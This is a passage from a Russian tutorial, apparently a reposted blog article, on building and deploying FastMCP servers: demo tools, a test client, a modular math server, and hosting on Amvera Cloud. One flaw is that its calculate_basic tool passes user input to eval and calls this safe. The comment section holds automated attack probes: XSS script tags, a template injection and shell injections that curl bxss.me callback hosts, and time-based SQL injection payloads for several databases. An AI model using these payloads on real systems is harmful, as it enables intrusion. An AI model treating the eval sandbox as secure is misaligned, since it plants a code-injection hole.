    chars = string.ascii_letters + string.digits + "!@#$%"
    return ''.join(random.choice(chars) for _ in range(length))

  
# === РЕСУРСЫ ===
@mcp.resource("system://status")
def system_status() -> str:
    """Возвращает статус системы"""
    return json.dumps({
        "status": "online",
        "timestamp": datetime.datetime.now().isoformat(),
        "version": "1.0.0"
    })

    
@mcp.resource("help://{topic}")
def get_help(topic: str) -> str:
    """Возвращает справку по теме"""
    help_docs = {
        "password": "Используйте generate_password для создания безопасных паролей",
        "age": "Используйте calculate_age для вычисления возраста",
        "status": "Проверьте system://status для мониторинга системы"
    }
    return help_docs.get(topic, f"Справка по теме '{topic}' не найдена")

  
# === ПРОМПТЫ ===
@mcp.prompt
def security_check(action: str) -> str:
    """Создает промпт для проверки безопасности действия"""
    return f"""
    Ты специалист по информационной безопасности. 
    Проанализируй это действие на предмет безопасности: {action}
    
    Оцени:
    1. Потенциальные риски
    2. Рекомендации по безопасности  
    3. Альтернативные подходы
    """

  
@mcp.prompt
def explain_result(tool_name: str, result: str) -> str:
    """Объясняет результат работы инструмента"""
    return f"""
    Объясни пользователю простыми словами результат работы инструмента '{tool_name}':
    
    Результат: {result}
    
    Сделай объяснение понятным и полезным.
    """

  
# Запуск сервера
if __name__ == "__main__":
    mcp.run(transport="http", port=8000)

Тестирование FastMCP-сервера

Для тестирования вашего MCP-сервера у вас есть несколько вариантов, от простых до продвинутых.

1. MCP Inspector (быстрое тестирование)

FastMCP поставляется с встроенным инструментом отладки — MCP Inspector, который предоставляет удобный веб-интерфейс:

# Запуск инспектора
fastmcp dev demo_server.py

Откроется браузер с интерфейсом, где вы сможете:

  • Во вкладке Tools тестировать инструменты с реальными параметрами

  • Во вкладке Resources проверять ресурсы

  • Во вкладке Prompts генерировать промпты

2. Программный клиент (для серьезного тестирования)

Для более серьезного тестирования стоит написать программный клиент. Вот пример полноценного тест-клиента для нашего Demo Assistant:

import asyncio
import json
from fastmcp import Client
from dotenv import load_dotenv

load_dotenv()


def safe_parse_json(text):
    """Безопасно парсит JSON или возвращает исходный текст"""
    try:
        return json.loads(text)
    except json.JSONDecodeError:
        return text


async def test_demo_server():
    """Полноценное тестирование Demo Assistant MCP-сервера."""

    print("🤖 Подключаемся к Demo Assistant серверу...")
    client = Client("http://127.0.0.1:8000/mcp/")

    async with client:
        try:
            # Проверяем соединение
            print("✅ Сервер запущен!\n")

            # Получаем возможности сервера
            tools = await client.list_tools()
            resources = await client.list_resources()
            prompts = await client.list_prompts()

            # Отображаем что доступно
            print(f"🔧 Доступно инструментов: {len(tools)}")
            for tool in tools:
                print(f"   • {tool.name}: {tool.description}")

            print(f"\n📚 Доступно ресурсов: {len(resources)}")
            for resource in resources:
                print(f"   • {resource.uri}")

            print(f"\n💭 Доступно промптов: {len(prompts)}")
            for prompt in prompts:
                print(f"   • {prompt.name}: {prompt.description}")

            print("\n🧪 ТЕСТИРУЕМ ФУНКЦИОНАЛ:")
            print("-" * 50)

            # === ТЕСТИРУЕМ ИНСТРУМЕНТЫ ===

            # 1. Тест расчета возраста
            print("1️⃣ Тестируем calculate_age:")
            result = await client.call_tool("calculate_age", {"birth_year": 1990})
            age_data = safe_parse_json(result.content[0].text)
            print(f"   Возраст человека 1990 г.р.: {age_data} лет")

            # 2. Тест генерации пароля
            print("\n2️⃣ Тестируем generate_password:")
            result = await client.call_tool("generate_password", {"length": 16})
            password_data = safe_parse_json(result.content[0].text)
            print(f"   Сгенерированный пароль (16 символов): {password_data}")

            # === ТЕСТИРУЕМ РЕСУРСЫ ===

            # 3. Тест системного статуса
            print("\n3️⃣ Читаем system://status:")
            resource = await client.read_resource("system://status")
            status_content = resource[0].text
            status_data = safe_parse_json(status_content)
            print(f"   Статус системы: {status_data['status']}")
            print(f"   Время: {status_data['timestamp']}")
            print(f"   Версия: {status_data['version']}")

            # 4. Тест динамического ресурса помощи
            print("\n4️⃣ Читаем help://password:")
            resource = await client.read_resource("help://password")
            help_content = resource[0].text
            print(f"   Справка: {help_content}")

            # === ТЕСТИРУЕМ ПРОМПТЫ ===

            # 5. Тест промпта безопасности
            print("\n5️⃣ Генерируем security_check промпт:")
            prompt = await client.get_prompt("security_check", {
                "action": "открыть порт 3000 на сервере"
            })
            security_prompt = prompt.messages[0].content.text
            print(f"   Промпт создан (длина: {len(security_prompt)} символов)")
            print(f"   Начало: {security_prompt[:100]}...")

            # 6. Тест промпта объяснения
            print("\n6️⃣ Генерируем explain_result промпт:")
            prompt = await client.get_prompt("explain_result", {
                "tool_name": "generate_password",
                "result": "Tj9$mK2pL8qX"
            })
            explain_prompt = prompt.messages[0].content.text
            print(f"   Промпт создан (длина: {len(explain_prompt)} символов)")
            print(f"   Начало: {explain_prompt[:100]}...")

            print("\n🎉 ВСЕ ТЕСТЫ ПРОШЛИ УСПЕШНО!")
            print("📊 Статистика:")
            print(f"   ✅ Инструментов протестировано: 2/{len(tools)}")
            print(f"   ✅ Ресурсов протестировано: 2/{len(resources)}")
            print(f"   ✅ Промптов протестировано: 2/{len(prompts)}")

        except Exception as e:
            print(f"❌ Ошибка при тестировании: {e}")
            import traceback
            traceback.print_exc()


if __name__ == "__main__":
    asyncio.run(test_demo_server())

3. Как запускать тесты

Для запуска тестов в одном окне запускам FastMCP приложение, а в другом окне — файл с клиентом для тестирования.

Приступим к созданию собственного MCP сервера!

Практика: создаем полноценный математический MCP-сервер

Думаю, что к этому моменту теории достаточно — пора переходить к практике! В этом разделе мы создадим полноценный математический MCP-сервер, который продемонстрирует все возможности FastMCP: инструменты, ресурсы и промпты.

В целом, вам не обязательно повторять мой код в данном блоке. Если у вас есть мысли или собственные идеи по созданию своего MCP-сервера — воплощайте! Если особых идей нет, то предлагаю воплотить вместе со мной математический MCP-сервер, который обработает все три типа компонентов: инструменты, ресурсы и промпты.

Структура проекта

Предлагаю создать отдельный проект под MCP-сервер. Логика та же: поднимаем виртуальное окружение, устанавливаем зависимости (fastmcp==2.10.6) и прочие, которые будет требовать ваш проект.

Подготовим структуру проекта:

math_mcp_server/
├── server.py              # Главный файл сервера
├── routes/                 # Модули с логикой
│   ├── __init__.py
│   ├── basic_math.py      # Базовые математические операции
│   ├── geometry.py        # Геометрические вычисления
│   ├── statistics.py      # Статистика и анализ данных
│   ├── resources.py       # Математические ресурсы
│   └── prompts.py         # Генераторы промптов
├── requirements.txt
└── test_client.py         # Клиент для тестирования

Почему такая структура? Мы разбиваем функционал на логические модули, чтобы код был читаемым и легко расширяемым. Каждый модуль отвечает за свою область математики.

Базовые математические операции

Начнем с модуля базовых операций. Я приведу полный код этого модуля, чтобы вы увидели логику выстраивания кода:

# routes/basic_math.py
import math
from datetime import datetime
from fastmcp import FastMCP

def setup_basic_math_routes(server: FastMCP):
    """Настройка базовых математических операций."""

    @server.tool
    def calculate_basic(expression: str) -> dict:
        """Вычислить базовое математическое выражение."""
        try:
            # Безопасное вычисление только математических выражений
            allowed_names = {
                k: v for k, v in math.__dict__.items()
                if not k.startswith("__")
            }
            allowed_names.update({"abs": abs, "round": round, "pow": pow})

            result = eval(expression, {"__builtins__": {}}, allowed_names)
            return {
                "expression": expression,
                "result": result,
                "type": type(result).__name__,
                "calculated_at": datetime.now().isoformat()
            }
        except Exception as e:
            return {
                "expression": expression,
                "error": str(e),
                "calculated_at": datetime.now().isoformat()
            }

    @server.tool
    def solve_quadratic(a: float, b: float, c: float) -> dict:
        """Решить квадратное уравнение ax² + bx + c = 0."""
        discriminant = b**2 - 4*a*c

        if discriminant > 0:
            x1 = (-b + math.sqrt(discriminant)) / (2*a)
            x2 = (-b - math.sqrt(discriminant)) / (2*a)
            return {
                "equation": f"{a}x² + {b}x + {c} = 0",
                "discriminant": discriminant,
                "roots": [x1, x2],
                "type": "two_real_roots"
            }
        elif discriminant == 0:
            x = -b / (2*a)
            return {
                "equation": f"{a}x² + {b}x + {c} = 0",
                "discriminant": discriminant,
                "roots": [x],
                "type": "one_real_root"
            }
        else:
            real_part = -b / (2*a)
            imaginary_part = math.sqrt(abs(discriminant)) / (2*a)
            return {
                "equation": f"{a}x² + {b}x + {c} = 0",
                "discriminant": discriminant,
                "roots": [
                    f"{real_part} + {imaginary_part}i",
                    f"{real_part} - {imaginary_part}i"
                ],
                "type": "complex_roots"
            }

    @server.tool
    def factorial(n: int) -> dict:
        """Вычислить факториал числа."""
        if n < 0:
            return {"error": "Факториал не определен для отрицательных чисел"}

        result = math.factorial(n)
        return {
            "number": n,
            "factorial": result,
            "formula": f"{n}!",
            "steps": " × ".join(str(i) for i in range(1, n + 1)) if n > 0 else "1"
        }

Ключевые принципы:

  1. Модульность: мы назначаем основную функцию setup_basic_math_routes(), которая аргументом всегда принимает наш сервер — server. Далее последующая логика ничем не будет отличаться от той, которую мы рассматривали ранее.

  2. Безопасность: в calculate_basic мы ограничиваем доступные функции, чтобы предотвратить выполнение опасного кода.

  3. Подробные ответы: каждая функция возвращает структурированную информацию с пояснениями.

Геометрические вычисления

По остальным модулям приведу основные функции с комментариями:

# routes/geometry.py
import math
from fastmcp import FastMCP

def setup_geometry_routes(server: FastMCP):
    """Настройка геометрических функций."""

    @server.tool
    def circle_properties(radius: float) -> dict:
        """Вычислить свойства окружности по радиусу."""
        if radius <= 0:
            return {"error": "Радиус должен быть положительным числом"}

        return {
            "radius": radius,
            "diameter": 2 * radius,
            "circumference": 2 * math.pi * radius,
            "area": math.pi * radius**2,
            "formulas": {
                "circumference": "2πr",
                "area": "πr²"
            }
        }

    @server.tool
    def triangle_area(base: float, height: float) -> dict:
        """Вычислить площадь треугольника."""
        if base <= 0 or height <= 0:
            return {"error": "Основание и высота должны быть положительными"}

        area = 0.5 * base * height
        return {
            "base": base,
            "height": height,
            "area": area,
            "formula": "½ × основание × высота"
        }

    @server.tool
    def distance_between_points(x1: float, y1: float, x2: float, y2: float) -> dict:
        """Вычислить расстояние между двумя точками."""
        distance = math.sqrt((x2 - x1)**2 + (y2 - y1)**2)

        return {
            "point1": {"x": x1, "y": y1},
            "point2": {"x": x2, "y": y2},
            "distance": distance,
            "formula": "√[(x₂-x₁)² + (y₂-y₁)²]"
        }

Промпты для обучения математике

Промпты — это мощный инструмент для создания образовательного контента:

# routes/prompts.py
from fastmcp import FastMCP

def setup_math_prompts(server: FastMCP):
    """Настройка математических промптов."""

    @server.prompt
    def explain_solution(problem: str, solution: str, level: str = "intermediate") -> str:
        """Промпт для объяснения математического решения."""

        level_instructions = {
            "beginner": "Объясни очень простыми словами, как будто учишь школьника",
            "intermediate": "Дай подробное объяснение с промежуточными шагами",
            "advanced": "Включи математическое обоснование и альтернативные методы решения"
        }

        instruction = level_instructions.get(level, level_instructions["intermediate"])

        return f"""
Ты математический преподаватель. {instruction}.

Задача: {problem}
Решение: {solution}

Твоя задача:
1. Объясни каждый шаг решения
2. Укажи какие математические правила применялись
3. Покажи почему именно так решается задача
4. Дай советы для решения похожих задач

Используй ясный язык и приводи примеры где это уместно.
"""

    @server.prompt
    def create_practice_problems(topic: str, difficulty: str = "medium", count: int = 5) -> str:
        """Промпт для создания практических задач."""

        difficulty_descriptions = {
            "easy": "простые задачи для начинающих",
            "medium": "задачи среднего уровня сложности", 
            "hard": "сложные задачи для продвинутых учеников"
        }

        diff_desc = difficulty_descriptions.get(difficulty, "задачи среднего уровня")

        return f"""
Создай {count} {diff_desc} по теме "{topic}".

Требования:
1. Каждая задача должна иметь четкое условие
2. Укажи правильный ответ для каждой задачи
3. Задачи должны быть разнообразными
4. Приведи краткое решение для каждой

Формат:
Задача 1: [условие]
Ответ: [правильный ответ]
Решение: [краткие шаги]

Тема: {topic}
Сложность: {difficulty}
Количество: {count}
"""

Математические ресурсы-справочники

Ресурсы предоставляют справочную информацию:

# routes/resources.py
import json
import math
from fastmcp import FastMCP

def setup_math_resources(server: FastMCP):
    """Настройка математических ресурсов-справочников."""

    @server.resource("math://formulas/basic")
    def basic_formulas() -> str:
        """Основные математические формулы."""
        formulas = {
            "Алгебра": {
                "Квадратное уравнение": "ax² + bx + c = 0, x = (-b ± √(b²-4ac)) / 2a",
                "Разность квадратов": "a² - b² = (a + b)(a - b)",
                "Квадрат суммы": "(a + b)² = a² + 2ab + b²",
                "Квадрат разности": "(a - b)² = a² - 2ab + b²"
            },
            "Геометрия": {
                "Площадь круга": "S = πr²",
                "Длина окружности": "C = 2πr", 
                "Площадь треугольника": "S = ½ × основание × высота",
                "Теорема Пифагора": "c² = a² + b²",
                "Площадь прямоугольника": "S = длина × ширина"
            },
            "Тригонометрия": {
                "Основное тригонометрическое тождество": "sin²α + cos²α = 1",
                "Формула синуса двойного угла": "sin(2α) = 2sin(α)cos(α)",
                "Формула косинуса двойного угла": "cos(2α) = cos²α - sin²α"
            }
        }
        return json.dumps(formulas, ensure_ascii=False, indent=2)

    @server.resource("math://constants/mathematical")
    def math_constants() -> str:
        """Математические константы."""
        constants = {
            "π (Пи)": {
                "value": math.pi,
                "description": "Отношение длины окружности к её диаметру",
                "approximation": "3.14159"
            },
            "e (Число Эйлера)": {
                "value": math.e,
                "description": "Основание натурального логарифма",
                "approximation": "2.71828"
            },
            "φ (Золотое сечение)": {
                "value": (1 + math.sqrt(5)) / 2,
                "description": "Золотое сечение",
                "approximation": "1.61803"
            },
            "√2": {
                "value": math.sqrt(2),
                "description": "Квадратный корень из 2",
                "approximation": "1.41421"
            }
        }
        return json.dumps(constants, ensure_ascii=False, indent=2)

Статистика и анализ данных

# routes/statistics.py
import statistics
from typing import List
from fastmcp import FastMCP

def setup_statistics_routes(server: FastMCP):
    """Настройка статистических функций."""

    @server.tool
    def analyze_dataset(numbers: List[float]) -> dict:
        """Полный статистический анализ набора данных."""
        if not numbers:
            return {"error": "Пустой набор данных"}

        n = len(numbers)

        return {
            "dataset": numbers,
            "count": n,
            "sum": sum(numbers),
            "mean": statistics.mean(numbers),
            "median": statistics.median(numbers),
            "mode": statistics.mode(numbers) if len(set(numbers)) < n else "Нет моды",
            "range": max(numbers) - min(numbers),
            "min": min(numbers),
            "max": max(numbers),
            "variance": statistics.variance(numbers) if n > 1 else 0,
            "std_deviation": statistics.stdev(numbers) if n > 1 else 0,
            "quartiles": {
                "q1": statistics.quantiles(numbers, n=4)[0] if n >= 4 else None,
                "q2": statistics.median(numbers),
                "q3": statistics.quantiles(numbers, n=4)[2] if n >= 4 else None
            }
        }

    @server.tool
    def correlation_coefficient(x_values: List[float], y_values: List[float]) -> dict:
        """Вычислить коэффициент корреляции Пирсона между двумя наборами данных."""
        if len(x_values) != len(y_values):
            return {"error": "Наборы данных должны быть одинакового размера"}

        if len(x_values) < 2:
            return {"error": "Нужно минимум 2 точки данных"}

        try:
            correlation = statistics.correlation(x_values, y_values)

            # Интерпретация силы корреляции
            abs_corr = abs(correlation)
            if abs_corr >= 0.8:
                strength = "очень сильная"
            elif abs_corr >= 0.6:
                strength = "сильная"
            elif abs_corr >= 0.4:
                strength = "умеренная"
            elif abs_corr >= 0.2:
                strength = "слабая"
            else:
                strength = "очень слабая"

            direction = "положительная" if correlation > 0 else "отрицательная"

            return {
                "x_values": x_values,
                "y_values": y_values,
                "correlation_coefficient": correlation,
                "interpretation": {
                    "strength": strength,
                    "direction": direction,
                    "description": f"{strength} {direction} корреляция"
                }
            }
        except Exception as e:
            return {"error": f"Ошибка вычисления: {str(e)}"}

Сборка проекта: главный файл сервера

Для сборки проекта в корне опишем файл server.py:

# server.py
from datetime import datetime
from fastmcp import FastMCP
from routes.basic_math import setup_basic_math_routes
from routes.prompts import setup_math_prompts
from routes.resources import setup_math_resources
from routes.statistics import setup_statistics_routes
from routes.geometry import setup_geometry_routes


def create_math_server() -> FastMCP:
    """Создать и настроить математический MCP-сервер."""

    server = FastMCP("Mathematical Calculator & Tutor")

    # Подключаем все модули
    setup_basic_math_routes(server)
    setup_statistics_routes(server)
    setup_geometry_routes(server)
    setup_math_resources(server)
    setup_math_prompts(server)

    # Дополнительные общие инструменты
    @server.tool
    def server_info() -> dict:
        """Информация о математическом сервере."""
        return {
            "name": "Mathematical Calculator & Tutor",
            "version": "1.0.0",
            "description": "Полнофункциональный математический MCP-сервер",
            "capabilities": {
                "tools": [
                    "Базовые вычисления",
                    "Решение квадратных уравнений", 
                    "Статистический анализ",
                    "Геометрические вычисления",
                    "Факториалы"
                ],
                "resources": [
                    "Математические формулы",
                    "Константы",
                    "Справка по статистике",
                    "Примеры решений"
                ],
                "prompts": [
                    "Объяснение решений",
                    "Создание задач",
                    "Репетиторство",
                    "Анализ ошибок"
                ]
            },
            "created_at": datetime.now().isoformat()
        }

# ================================
# ЗАПУСК СЕРВЕРА
# ================================

if __name__ == "__main__":
    math_server = create_math_server()
    math_server.run(transport="http", port=8000, host="0.0.0.0")

Деплой и тестирование через ИИ-агентов

И так, мы подняли с вами собственный MCP-сервер, к которому можно подключаться удаленно (по HTTP-протоколу), но без деплоя в этом большого смысла не будет, так как подключиться сейчас к нашему серверу можно только на локальном компьютере. По сути, сейчас он работает не как transport="http", а как stdio.

Давайте исправлять эту ситуацию!

Зачем нужен деплой MCP-сервера?

Локальный запуск ограничивает возможности:

  • Сервер доступен только с вашего компьютера

  • Нельзя поделиться с коллегами или интегрировать в продакшн

  • ИИ-агенты не могут подключиться удаленно

  • Нет постоянной доступности (выключили компьютер — сервер недоступен)

Деплой решает эти проблемы:

  • Доступность 24/7 из любой точки мира

  • Возможность интеграции с ИИ-платформами

  • Масштабируемость и надежность

  • Простое подключение через URL

Выбор платформы для деплоя

Самое простое решение для деплоя — взять сервис, на который достаточно будет доставить свое FastMCP-приложение и на котором это приложение запустится автоматически. Кроме того, чтобы не тратиться на покупке доменного имени, хотелось бы, чтобы его нам дали в подарок.

Такое решение — облачный хостинг Amvera Cloud.

Почему Amvera?

  • Бесплатный домен в подарок

  • 111 рублей на баланс за регистрацию

  • Автоматический деплой из Git или через интерфейс

  • Простая настройка через конфиг-файл

  • Автоматическое обновление при изменении кода

  • Стабильный доступ к LLM API — на Amvera, Claude и ChatGPT работают без VPN и прокси "из коробки", что критично для продакшн-проектов в России

  • Можно подключить API LLM с оплатой рублями. Не нужно иметь иностранную карту.

Подготовка к деплою

Весь процесс деплоя будет сводиться к тому, чтобы доставить файлы вашего приложения с заготовленным конфиг-файлом в созданный на сайте Amvera проект. Доставить можно как просто перетягиванием файлов через интерфейс на сайте, так и через стандартные команды Git (тут как кто привык).

1. Создаем файл конфигурации Amvera

Подготовим файл с настройками amvera.yml:

meta:
  environment: python
  toolchain:
    name: pip
    version: "3.11"
build:
  requirementsPath: requirements.txt
run:
  scriptName: server.py
  persistenceMount: /data
  containerPort: 8000

Что означают параметры:

  • environment: python — используем Python-окружение

  • toolchain.version: "3.11" — версия Python

  • requirementsPath — путь к файлу с зависимостями

  • scriptName — главный файл для запуска

  • containerPort: 8000 — порт приложения (должен совпадать с тем, что в коде)

2. Подготавливаем requirements.txt

В нашем случае содержимое файла минимальное:

fastmcp==2.10.6

При необходимости добавьте другие зависимости, которые использует ваш проект.

Пошаговый деплой на Amvera

Этого достаточно! Теперь действуем пошагово:

Шаг 1: Регистрация и создание проекта

  1. Заходим на сайт amvera.ru и регистрируемся (за регистрацию, кстати, получаем 111 рублей на внутренний баланс — достаточно для бесплатного старта)

  2. Кликаем на «Создать проект». Даем ему имя (например, "math-mcp-server") и выбираем тариф. Для тестов будет достаточно «Начальный плюс»

c665a832ffcca9e35120b1e2b332b9f7.png

Шаг 2: Загрузка файлов

  1. На экране загрузки файлов выбираем удобный способ. Я выбрал «Через интерфейс». Загружаем файлы:

    • server.py

    • amvera.yml

    • requirements.txt

    • Папку routes/ со всеми модулями

    Жмем «Далее»

9650916bc08dc613b8fffc8244c832ca.png

Шаг 3: Проверка настроек

  1. Если вы загрузили файл с настройками, то на новом экране вы увидите заполненные поля. Проверяем, чтобы все было корректно, и нажимаем «Завершить»

Шаг 4: Активация домена

  1. Проваливаемся в проект, там выбираем вкладку «Домены» и активируем бесплатное доменное имя. Не забываем передвинуть ползунок для активации!

0c16e3bc0690e7403c77007c02796bf0.png

Шаг 5: Ожидание запуска

После этого ждем 2-3 минуты и ваш сервис доступен по выделенному доменному имени. Если доменное имя не применилось — просто кликаем на кнопку «Пересобрать проект», но обычно этого не требуется.

d409a5f1e1aa5cac8f5c45c0c76fe7b4.png

Получаем URL для подключения

В моем случае ссылка на доступ к MCP-серверу будет иметь следующий вид:

https://math-mcp-server-yakvenalex.amvera.io/mcp/

И, следовательно, для подключения к моему MCP-серверу мне будет достаточно указать следующую конструкцию:

"math_mcp": {
    "transport": "streamable_http",
    "url": "https://math-mcp-server-yakvenalex.amvera.io/mcp/"
}

Пример с кода:

async def get_all_tools():
    """Получение всех инструментов: ваших + MCP"""
    # Настройка MCP клиента
    mcp_client = MultiServerMCPClient(
        {
            "filesystem": {
                "command": "npx",
                "args": ["-y", "@modelcontextprotocol/server-filesystem", "."],
                "transport": "stdio",
            },
            "match_mcp": {
                "transport": "streamable_http",
                "url": "https://mcpserver-yakvenalex.amvera.io/mcp/",
            },
            "context7": {
                "transport": "streamable_http",
                "url": "https://mcp.context7.com/mcp",
            },
        }
    )

    # Получаем MCP инструменты
    mcp_tools = await mcp_client.get_tools()

    # Объединяем ваши инструменты с MCP инструментами
    return custom_tools + mcp_tools

Имя сервера (math_mcp) может быть любым.

MCP-сервер отлично взаимодействует как с LangGraph и LangChain, так и с другими агентами, такими как Cursor, Claude Code, Claude Desktop, Gemini Cli и другими.

Заключение

Вот и подошла к концу наша большая статья о MCP-серверах и ИИ-агентах. Признаюсь честно — когда я начинал её писать, думал, что получится что-то покороче. Но тема оказалась настолько увлекательной и многогранной, что остановиться было просто невозможно!

Что мы с вами прошли

За это время мы проделали немалый путь:

  • Разобрались, что такое MCP и чем он отличается от обычных инструментов

  • Научились создавать собственные тулзы и биндить их к нейросетям

  • Освоили подключение готовых MCP-серверов

  • Поняли разницу между ручным биндом и React Agent

  • Создали полноценный математический MCP-сервер с нуля

  • И даже задеплоили его в облако Amvera Cloud!

Мои впечатления

Знаете, что меня больше всего поражает в этой теме? Скорость развития. Буквально полгода назад о MCP мало кто слышал, а сегодня это уже стандарт де-факто для ИИ-агентов. И темп только нарастает — каждую неделю появляются новые фреймворки, новые возможности, новые горизонты.

Но самое классное — это простота. Помните, как раньше интеграция с ИИ была болью? Нужно было разбираться с API, форматами, протоколами... А сейчас? Написал функцию, повесил декоратор @tool — и вуаля, нейросеть уже может её использовать!

Что дальше?

Эта статья — только начало. В планах у меня ещё много интересного:

  • Детальный разбор LangGraph (если увижу отклик на эту статью)

  • Создание сложных многоагентных систем

  • Интеграция MCP с популярными инструментами разработки

  • Может быть, даже видеокурс по теме

Призыв к действию

А пока — экспериментируйте! Создавайте свои MCP-серверы, подключайте их к разным ИИ-моделям, делитесь результатами. Именно сейчас, когда технология только набирает обороты, у каждого из нас есть шанс стать частью этой революции.

Где найти меня

Весь код из статьи, дополнительные материалы и эксклюзивный контент — в моём Telegram-канале «Лёгкий путь в Python». Там я делюсь не только готовыми решениями, но и процессом разработки — со всеми ошибками, инсайтами и «эврика-моментами».

Последние слова

ИИ-агенты перестают быть фантастикой — они становятся частью нашей повседневной работы. И те, кто научится создавать для них правильные инструменты, получат огромное преимущество.

Удачи в ваших экспериментах с MCP! И помните — лучшее время посадить дерево было 20 лет назад, а второе лучшее время — сегодня. То же самое с изучением ИИ-агентов.

P.S. Если статья была полезной — не забудьте поставить лайк и поделиться с коллегами. А ещё лучше — напишите в комментариях, какие MCP-серверы создали вы! Всегда интересно посмотреть на чужие решения.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

